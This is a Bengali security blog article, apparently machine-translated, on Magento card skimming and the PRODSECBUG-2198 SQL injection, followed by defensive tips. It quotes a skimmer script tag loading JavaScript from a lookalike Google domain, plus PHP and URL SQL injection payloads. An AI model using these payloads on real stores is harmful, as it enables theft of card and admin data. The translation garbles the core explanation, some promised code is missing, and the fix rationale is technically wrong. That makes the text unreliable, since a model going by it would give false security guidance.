ম্যাজেন্টো কার্ড স্কিমিং হল একটি Magento ওয়েবসাইটে 'স্কিমার্স' নামক ক্ষতিকারক স্ক্রিপ্ট ইনজেকশনের মাধ্যমে ক্রেডিট/ডেবিট তথ্য অবৈধভাবে চুরি করার অভ্যাস। আপনি যদি একটি Magento-চালিত ওয়েবসাইটের মালিক হন তবে এই নিবন্ধটি আপনার জন্য। এখানে, আমরা আপনার জন্য নিয়ে এসেছি Magento কার্ড স্কিমিং সিকিউরিটি ইস্যুতে আবর্তিত সমস্ত প্রয়োজনীয় বিবরণ সহ একটি ভাল সংস্থান৷
৷এই নিবন্ধে, আমরা Magento কার্ড স্কিমিং কি এবং এটি Magento ওয়েবসাইটগুলিকে কীভাবে প্রভাবিত করে তা নিয়ে আলোচনা করব (ধারণার প্রমাণ সহ)। আরও, আপনি কীভাবে আপনার ওয়েবসাইটকে এই সমস্যা থেকে রক্ষা করতে পারেন সে সম্পর্কে আমরা কিছু কার্যকরী টিপস শিখব। সুতরাং, আসুন সরাসরি ভিতরে ঝাঁপ দেওয়া যাক।
সম্পর্কিত নিবন্ধ – ম্যাজেন্টো স্টোরে ম্যাজকার্ট আক্রমণগুলি কী এবং কীভাবে সেগুলি প্রতিরোধ করা যায়৷
Magento কার্ড স্কিমিং কি?
Magento একটি PHP-ভিত্তিক ওপেন সোর্স ই-কমার্স প্ল্যাটফর্ম। এটি একটি স্ব-হোস্টেড কন্টেন্ট ম্যানেজমেন্ট সিস্টেম যা বর্তমানে অ্যাডোবের মালিকানাধীন। একটি আনুমানিক 250,000+ ওয়েবসাইটগুলি তাদের ই-কমার্স ওয়েবসাইটকে শক্তিশালী করতে Magento ব্যবহার করে৷ এই ওয়েবসাইটগুলির বেশিরভাগই ইউএস-ভিত্তিক ই-কমার্স জায়ান্টদের অন্তর্গত। সুতরাং, গ্রাহকের অভিজ্ঞতা সুরক্ষিত করার জন্য Magento-এর একটি ভারী দায়িত্ব রয়েছে৷
৷কার্ড স্কিমিং, অন্যদিকে, একটি ফিজিক্যাল কার্ড স্কিমিং ডিভাইস দ্বারা ক্রেডিট কার্ড এবং ডেবিট কার্ড থেকে তথ্য অবৈধভাবে অনুলিপি করার অভ্যাস। ম্যাজেন্টো এবং কার্ড স্কিমিং একে অপরের সাথে কীভাবে যুক্ত হয়েছিল তা এখানে।
Magento কার্ড স্কিমিং হল ওয়েব স্কিমিং এর একটি ফর্ম যেখানে হ্যাকাররা তৃতীয় পক্ষের স্ক্রিপ্টের মাধ্যমে Magento-এ অর্থপ্রদানের তথ্য চুরি করে। এই স্ক্রিপ্ট তাদের মালিকের নাম, ক্রেডিট কার্ড/ডেবিট কার্ড নম্বর, CVV নম্বর এবং মেয়াদ শেষ হওয়ার তারিখের মতো গুরুত্বপূর্ণ ব্যাঙ্কিং তথ্য চুরি করতে সক্ষম করে। হ্যাকাররা, সাধারণত এই তথ্যগুলি কালোবাজারে বিক্রি করে নগদীকরণ করে৷
৷PRODSECBUG-2198 সম্পর্কে শোষণ
PRODSECBUG-2198 সমস্যাটি প্রথম 9 নভেম্বর 2018 তারিখে Bugcrowd-এ রিপোর্ট করা হয়েছিল। মূলত, PRODSECBUG-2198 হল একটি দুর্বল কোড যা Magento-এ একটি SQL ইনজেকশনের অনুমতি দেয়। এই দুর্বলতা একজন অননুমোদিত ব্যবহারকারীকে নির্বিচারে কোড চালানোর অনুমতি দেয় যা সংবেদনশীল তথ্য ফাঁসের কারণ হতে পারে।
খুব শীঘ্রই বাগটি P1 হিসাবে চিহ্নিত করা হয়েছিল। Bugcrowd এর মতে P1 দুর্বলতা হল সেইসব দুর্বলতা যা বিশেষাধিকার বৃদ্ধির কারণ হতে পারে। এই কারণে, যেকোনো ব্যবহারকারী নিম্ন স্তরের অনুমতি থেকে প্রশাসকের অধিকারে উন্নীত করতে পারে। আরও, এটি দূরবর্তী কোড সম্পাদন, আর্থিক চুরি, ইত্যাদির অনুমতি দেয়৷ শোষণটি Magento এর নিম্নলিখিত সংস্করণগুলিকে লক্ষ্য করে:
- ম্যাজেন্টো কমার্স <1.14.4.1
- ম্যাজেন্টো ওপেন সোর্স <1.9.4.1
- ম্যাজেন্টো <2.1.17
- ম্যাজেন্টো <2.2.8
- ম্যাজেন্টো <2.3.1
Google এর নামে স্কিমার
ম্যাজেন্টো স্কিমিংয়ের খুব সাম্প্রতিক ক্ষেত্রে, আমরা দেখেছি হ্যাকাররা একটি নকল গুগল ডোমেন ব্যবহার করে অর্থপ্রদানের বিবরণ চুরি করে। এই আক্রমণে, ক্ষতিকারক জাভাস্ক্রিপ্ট একটি ডোমেন থেকে লোড করা হচ্ছিল – google-analytîcs.com অথবা xn--google-analytcs-xpb.com।
আপনি যদি সাবধানে দেখতে চান, এটি আসল গুগল ডোমেনে একটি নেমপ্লে। সুতরাং, এই স্কিমিং আক্রমণটি সংবেদনশীল অর্থপ্রদানের তথ্য আনার পদ্ধতি হিসাবে ফিশিং ব্যবহার করে। স্ক্রিপ্টটি এরকম কিছু দেখায় –
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>
আরও, এই স্কিমার লোড করা জাভাস্ক্রিপ্ট এবং document.getElementsByTagName ব্যবহার করে ডেটা ক্যাপচার করে। যদি কোনো ডেভেলপার টুল খোলা না থাকে, তাহলে এই স্কিমারের মাধ্যমে চুরি করা ডেটা নকল Google ডোমেনে পাঠানো হয় – google-analytîcs.com অথবা xn--google-analytcs-xpb.com।
যাইহোক, যখন আপনার ওয়েবসাইটে একটি বিকাশকারী টুল খোলা থাকে তখন এটি একটি অদ্ভুত আচরণ দেখায়। এটি সংক্রমণ প্রক্রিয়ার মাঝপথে সনাক্ত করে এবং বন্ধ করে দেয়। এছাড়াও, আপনি যে ব্রাউজার সফ্টওয়্যার ব্যবহার করছেন তার উপর নির্ভর করে এই আচরণ পরিবর্তিত হয়।
ম্যাজেন্টো কার্ড স্কিমিং:ধারণার প্রমাণ
এই নিরাপত্তা দুর্বলতা সম্পর্কে ধারণার একটি প্রমাণ নিম্নরূপ উল্লেখ করা হয়েছে। এটি পাইথনে লেখা এবং প্রধান জিনিস যা Magento কার্ড স্কিমিং সমস্যা সৃষ্টি করে।
- এখানে কোডটি মূলত কিছু র্যান্ডম URL এবং সেশন ডেটা সহ একটি ডামি ব্রাউজার সেশন তৈরি করে। এটি ব্রাউজার ক্লাস এবং একটি সেশন অর্জন ফাংশন ব্যবহার করে করা হয়।
- সেশনের বিবরণ সহ ব্রাউজার ক্লাসের একটি অবজেক্ট SQL ইনজেকশন ক্লাসে পাস করা হয়।
- এসকিউএল ইনজেকশনটি এখন সেশন URL-এ কিছু পেলোড ডেটা যোগ করে, একটি পণ্য তৈরি করে এবং তারপরে ওয়েবসাইটের ডাটাবেস থেকে গুরুত্বপূর্ণ বিবরণ নিয়ে আসে। ব্যাকএন্ড ডেটাতে বিশেষ সুবিধাপ্রাপ্ত অ্যাক্সেস পেতে SQL ইনজেকশন পেলোডও পরিবর্তন করা যেতে পারে।
- আক্রমণকারী ব্যবহারকারীর সাম্প্রতিক লেনদেন এবং ব্যাঙ্কিং তথ্য সম্পর্কে তথ্য লাভ করে।
কীভাবে শোষণ আপনার Magento ওয়েবসাইটকে সংক্রামিত করে?
Magento এর প্রায় 2 মিলিয়ন পিএইচপি লাইনের একটি বিশাল কোডবেস রয়েছে। এটি নিরীক্ষা এবং শোষণের অনুসন্ধানকে একটি কষ্টকর কাজ করে তোলে। যাইহোক, যখন আমাদের নৈতিক হ্যাকারদের দল কোডটি পরীক্ষা করে, তারা ORM এবং DB পরিচালনার জন্য দায়ী কোডগুলিতে তাদের লক্ষ্যগুলিকে সংকুচিত করে।
যে এলাকায় ম্যাজেন্টো কার্ড স্কিমিং এর বাগ বিদ্যমান ছিল সেগুলি হল:
1. প্রস্তুতিএসকিউএলকন্ডিশন ফাংশনে
এই সর্বজনীন ফাংশনটি ডাটাবেস পরিচালনাকারী প্রধান ক্লাসগুলির মধ্যে একটির মধ্যে রয়েছে এবং
এ অবস্থিত হতে পারেMagentoFrameworkDBAdapterPdoMysql
ফাংশন কোড নিম্নরূপ:
শোষণ বোঝা
আসুন এখন চিহ্নিত লাইনের উপর আমাদের মনোযোগ কেন্দ্রীভূত করে শোষণের কাজটি বুঝতে পারি। চিহ্নিত লাইনে [1], একটি শর্ত উপনাম $conditionKeyMap ব্যবহার করে একটি প্যাটার্নের সাথে যুক্ত। এটি 30-35 লাইনে লেখা যুক্তির উপর ভিত্তি করে 33 নম্বর লাইনে _prepareQuotedSqlCondition() ফাংশন ব্যবহার করে প্রদত্ত মানের একটি উদ্ধৃত সংস্করণ দ্বারা উপনামের ভিতরে প্রতিটি '?' অক্ষর প্রতিস্থাপন করে। এখন নিম্নলিখিত কোড উদাহরণ বিবেচনা করুন:
<?php
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";
এখন একটি সমস্যা দেখা দেয় যখন "থেকে" এবং "থেকে" শর্তগুলি 30 নম্বর লাইনে একত্রে ব্যবহার করা হয়। সেই কোডের যুক্তি নিশ্চিত করে যে একটি ক্ষেত্র একটি পরিসরের মধ্যে রয়েছে। আরও ভালোভাবে বোঝার জন্য, আসুন এই কোড স্নিপেটটি দেখি:
<?php
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";
এক্সিকিউশন লজিক অনুসারে, যখনই উভয় শর্ত বিদ্যমান থাকে, প্রথমে "থেকে" এবং তারপর "থেকে" পরিচালনা করা হয়। কিন্তু 38 নম্বর লাইনে একটি গুরুত্বপূর্ণ ভুল করা হয়েছে। "থেকে" যে ক্যোয়ারী তৈরি হয় সেটি ফরম্যাটিং এর জন্য আরও ব্যবহার করা হয়।
এখন যে প্রতি "?" প্রদত্ত মান দ্বারা প্রতিস্থাপিত হবে, যদি "থেকে" এর মানটিতে একটি প্রশ্ন চিহ্ন দেখা দেয়, তবে এটি "থেকে" নির্ধারিত মানের একটি উদ্ধৃত সংস্করণ দ্বারা প্রতিস্থাপিত হবে। একটি বৈধ SQL ইনজেকশন আক্রমণ করার জন্য, আক্রমণকারী নিম্নলিখিত শোষণ কোড স্থাপন করতে পারে:
<?php
$db->prepareSqlCondition(‘price’,[
‘from’ => ‘x?’
‘to’ => ‘ OR 1=1 -- -’
]);
-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”
ছোট আকারের হওয়া সত্ত্বেও ভুলটি খুব প্রভাবশালী হতে পারে। আশ্চর্যজনক ঘটনা হল যে কোডের এই অংশটি Magento সংস্করণ 1.x থেকে রয়েছে।
2. সিঙ্ক্রোনাইজ ক্লাসের এক্সিকিউট ফাংশনে
নিম্নলিখিত অবস্থানে কার্যকরী ফাংশনে আরেকটি দুর্বলতা পাওয়া গেছে:
MagentoCatalogControllerProductFrontendActionSynchronize
পিএইচপি সোর্স কোড যেখানে নিরাপত্তা সমস্যা প্রকাশ করা হয়েছে তা নিম্নরূপ:
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam(‘ids’,[]);
$typeId = $this->getRequest()->getParam(‘type_id’,null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (Exception $e) {
$resultsJson->setStatusHeader(
ZendHttpResponse::STATUS_CODE_400,
ZendHttpAbstractMessage::VERSION_11,
‘Bad Request’
);
}
return $resultsJson->setData([]);
কল স্ট্যাক যা অবশেষে ত্রুটির দিকে নিয়ে যায়:
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
দুর্বল কোডের এই অংশটি Magento এর v2.2.0 থেকে বিদ্যমান। একটি নমুনা URL যা Magento কার্ড স্কিমিংয়ের সাথে যুক্ত এই অননুমোদিত অন্ধ SQL ইনজেকশনের কারণ হতে পারে:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
এখন যে তথ্য ডাটাবেস থেকে পড়া যায়, আক্রমণকারী অ্যাডমিনিস্ট্রেটর অ্যাকাউন্টের জন্য শংসাপত্রগুলি বের করতে পারে এবং ব্যাকএন্ড অ্যাক্সেস করতে তাদের ব্যবহার করতে পারে। তারা ব্যবহারকারীদের ডাটাবেস এবং লেনদেন ডাটাবেস থেকে ব্যাংকিং এবং অন্যান্য আর্থিক বিবরণ লুকিয়ে রাখতে পারে। আক্রমণকারী এই তথ্য ব্যবহার করতে পারে এবং সাইবার অপরাধ পরিচালনা করতে পারে যেমন ই-কমার্স জালিয়াতি বা ফিশিং বা এমনকি ভিশিং। আক্রমণকারী আপনার ওয়েবসাইটে ম্যালওয়্যার হোস্ট করতে পারে যা ই-কমার্স প্ল্যাটফর্মে আপনার প্রতিষ্ঠানের খ্যাতির জন্য প্রতিবন্ধক হতে পারে। আপনার ওয়েবসাইট সার্চ ইঞ্জিন দ্বারা কালো তালিকাভুক্ত হতে পারে যা আপনার ওয়েবসাইটের জৈব ট্র্যাফিকের পতন ঘটাতে পারে৷
কিভাবে আপনার ওয়েবসাইটকে Magento কার্ড স্কিমিং থেকে রক্ষা করবেন?
এখন যেহেতু আমরা Magento কার্ড স্কিমিং এর কাজ সম্পর্কে বিশদভাবে বুঝেছি, আসুন আমরা বুঝতে পারি কিভাবে আমরা ভবিষ্যতে এই ধরনের আক্রমণ থেকে রক্ষা করতে পারি।
-
স্যানিটাইজ করার প্রস্তুতিSqlInjection ফাংশন
PreparedSqlInjection ফাংশনে নিরাপত্তা বাগ অপসারণের জন্য, কোডটি এইভাবে লিখতে হবে:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
'এই' পয়েন্টার ব্যবহার করে পাস করা মানটির একটি রেফারেন্স আক্রমণকারীকে ব্যাকএন্ড ডেটাতে সরাসরি অ্যাক্সেস পেতে বাধা দেবে। একটি পয়েন্টার ভেরিয়েবলের ব্যবহার ডেটা বিমূর্তকরণ এবং শুধুমাত্র একটি অনুমোদিত ফাংশনে অ্যাক্সেস সক্ষম করে৷
-
ইনপুট ডেটার বৈধতা
আপনার Magento-ভিত্তিক ওয়েবসাইটের যেকোনো পৃষ্ঠায় যে মানগুলি ইনপুট হিসাবে নেওয়া হচ্ছে তা ব্যাকএন্ড প্রক্রিয়াকরণের জন্য আরও পাস করার আগে অবশ্যই যাচাই করা উচিত। সঠিক ফাংশন বা উপযুক্ত যুক্তি ব্যবহার করে বৈধতা করা যেতে পারে। এটা নির্বোধ হতে হবে. ওয়েবসাইট অ্যাডমিনিস্ট্রেটরকে অবশ্যই ওয়েবসাইট ডেভেলপারদের জন্য নিরাপদ এবং কম ঝুঁকিপূর্ণ কোড লিখতে বাধ্য করতে হবে।
-
সুরক্ষিত করার জন্য আপডেট করুন
আপনার Magento-ভিত্তিক ওয়েবসাইট দ্বারা ব্যবহৃত সমস্ত প্লাগইন অবশ্যই সর্বশেষ সংস্করণে আপ-টু-ডেট হতে হবে। এটি আপনার গ্রাহক এবং ব্যবহারকারীদের জন্য একটি নিরাপদ অভিজ্ঞতা নিশ্চিত করবে। হ্যাকাররা সাধারণত পুরানো প্লাগইনগুলিতে চলমান ওয়েবসাইটগুলিকে লক্ষ্য করে এবং তারা ম্যালওয়্যার হোস্ট করতে পারে যা আপনার ওয়েবসাইটকে ধীর করে দিতে পারে এবং আপনার Magento ওয়েবসাইটকে কালো তালিকাভুক্ত করতে পারে৷
-
নিরাপত্তা নিরীক্ষা
আপনার ওয়েবসাইটে ইতিমধ্যে নিরাপত্তার ত্রুটি নেই তা নিশ্চিত করতে সাইটের একটি পুঙ্খানুপুঙ্খ নিরাপত্তা অডিট করুন। সমস্ত Magento ব্যবহারকারীদের একটি সংশোধন করুন এবং আপনি চিনতে পারেন না এমন কাউকে মুছুন। সমস্ত ত্রুটি এবং কোডিং দুর্বলতাগুলি উন্মোচন করতে, আপনি আপনার ওয়েবসাইটে একটি পেশাদার VAPT (ভালনারেবিলিটি অ্যাসেসমেন্ট এবং পেনিট্রেশন টেস্টিং) করাতে পারেন৷
-
কোনও নিরাপত্তা অসঙ্গতির অভিযোগ করুন
আপনি যদি ব্যবহারকারীর ডাটাবেস বা লেনদেন পরিচালনাকারী ডাটাবেসে নিরাপত্তা লঙ্ঘনের কোনো চিহ্ন খুঁজে পান, তাহলে যত তাড়াতাড়ি সম্ভব এই জরুরি অবস্থার সমাধান করার জন্য জড়িত পক্ষগুলির (পেমেন্ট প্রসেসর, গ্রাহক এবং কোম্পানির স্টেকহোল্ডারদের) সাথে যোগাযোগ করুন। নিরাপত্তা লঙ্ঘন অযত্ন ছেড়ে দেওয়া উচিত নয়.
-
শেয়ার করা হোস্টিং নিরাপত্তা ঝুঁকি সম্পর্কে সতর্ক থাকুন
যদি আপনার ওয়েবসাইট শেয়ার্ড হোস্টিং ব্যবহার করে হোস্ট করা হয়, তাহলে আপনাকে অবশ্যই ব্যাকআপ এবং বর্ধিত নিরাপত্তার জন্য পরিকল্পনা কিনতে হবে। আপনাকে, একজন নিরাপত্তা প্রশাসক বা ওয়েবসাইট প্রশাসক হিসাবে আপনার হোস্টিং পরিষেবা প্রদানকারীর সাথে যোগাযোগ করতে হবে এবং শেয়ার্ড হোস্টিং সার্ভারে হোস্ট করা অন্যান্য ওয়েবসাইট সম্পর্কে জ্ঞান থাকতে হবে। একটি অর্থনৈতিক বিকল্পের জন্য গিয়ে আপনার ব্যবসার অনলাইন খ্যাতি ঝুঁকি নেবেন না। শেয়ার্ড নিরাপত্তা ঝুঁকি সম্পর্কে একটি বিস্তারিত আলোচনা ইতিমধ্যে Astra ব্লগের পূর্ববর্তী নিবন্ধে করা হয়েছে। আপনি এটি এখানে পড়তে পারেন।
-
ডেটা এনক্রিপশন
একটি শক্তিশালী এনক্রিপশন প্রক্রিয়ার মাধ্যমে আপনার ওয়েবসাইটের ডাটাবেসে সংরক্ষিত ডেটা এনক্রিপ্ট করুন। এটি আক্রমণকারীকে আপনার ব্যবহারকারীদের ব্যক্তিগত ডেটা বা আপনার সংস্থার কৌশলগত তথ্য ভাঙ্গতে একটি কঠিন সময় দেবে৷
-
XSS আক্রমণের পথ ঠিক করুন
যদিও, এই নিবন্ধে, আমরা XSS নিয়ে আলোচনা করছি না যেহেতু Magento-এর পেমেন্ট গেটওয়ে পৃষ্ঠাগুলি PHP-ভিত্তিক ফর্মগুলি ব্যবহার করে তৈরি করা হয়েছে, এটি গুরুত্বপূর্ণ যে তারা htmlspecialchars() ব্যবহার করে $_SERVER[“PHP_SELF”] আক্রমণ প্রতিরোধ করার জন্য ফাংশন।
-
একটি ফায়ারওয়াল ইনস্টল করুন৷
একটি ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল ইনস্টল করা আপনার ওয়েবসাইটের নিরাপত্তা বাড়ানোর আরেকটি উপায়। Astra's Firewall হল আপনার ওয়েবসাইটের জন্য একটি অবিচ্ছিন্ন পর্যবেক্ষণ ব্যবস্থা। এটি 24*7 আপনার ওয়েবসাইটে আসা হুমকি সনাক্ত করে এবং ব্লক করে। তদুপরি, এটি প্রতিটি আক্রমণের প্রচেষ্টার সাথে বিকশিত হতে থাকে এবং পরবর্তীটির জন্য আরও ভালভাবে কনফিগার করা হয়৷
Magento নিরাপত্তা সংক্রান্ত আরও নিবন্ধের জন্য, এখানে ক্লিক করুন .
নিবন্ধটি সহায়ক খুঁজে পেয়েছেন? Facebook, Twitter, LinkedIn এ আপনার বন্ধুদের সাথে শেয়ার করুন৷
৷